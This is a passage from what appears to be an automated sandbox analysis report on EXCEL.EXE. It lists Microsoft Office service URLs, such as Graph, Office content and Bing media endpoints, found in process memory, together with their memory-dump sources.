EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://entity.osi.office.net/t
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechN4
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-androidR
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://graph.ppe.windows.net/w6
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://graph.windows.net
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://graph.windows.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://graph.windows.net/ee
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://hubble.officeapps.live.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://hubble.officeapps.live.comE%
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://hubble.officeapps.live.comp%
Source: EXCEL.EXE, 00000000.00000002.981591144.00000000128C3000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetryC
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?-
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?MBI_SSL_SHORTssl.
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&amp;premium=1
Source: EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&amp;premium=1
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&amp;premium=1
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: EXCEL.EXE, 00000000.00000002.981591144.00000000128C3000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?OfficeOnlineContentM365Iconshttps://hu
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://inclient.store.office.com/gyro/clientla
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://inclient.store.office.com/gyro/clientstoreGV
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://inclient.store.office.com/gyro/clientstoret
Source: EXCEL.EXE, 00000000.00000002.981507571.0000000012880000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveApp
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=Immersive
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingMBI_SSL_SHORTssl.
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bingz1
Source: EXCEL.EXE, 00000000.00000003.830019835.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887114579.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792860605.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844384510.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976497308.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846187037.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847870583.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831076747.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728160281.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843428711.000000000F1AC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArtOfficeOnlineContentF
Source: EXCEL.EXE, 00000000.00000003.830019835.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887114579.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792860605.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844384510.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976497308.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846187037.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847870583.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831076747.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728160281.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843428711.000000000F1AC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
